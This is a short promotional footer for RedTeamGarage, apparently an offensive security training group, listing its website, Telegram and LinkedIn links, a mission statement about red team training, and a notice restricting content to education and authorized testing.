| Official Website | <a href="https://www.redteamgarage.com/">https://www.redteamgarage.com/</a>                                         |
| Telegram         | <a href="https://t.me/redteamgarage">https://t.me/redteamgarage</a>                                                 |
| LinkedIn         | <a href="https://www.linkedin.com/company/redteamgarage-rtg">https://www.linkedin.com/company/redteamgarage-rtg</a> |

### RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.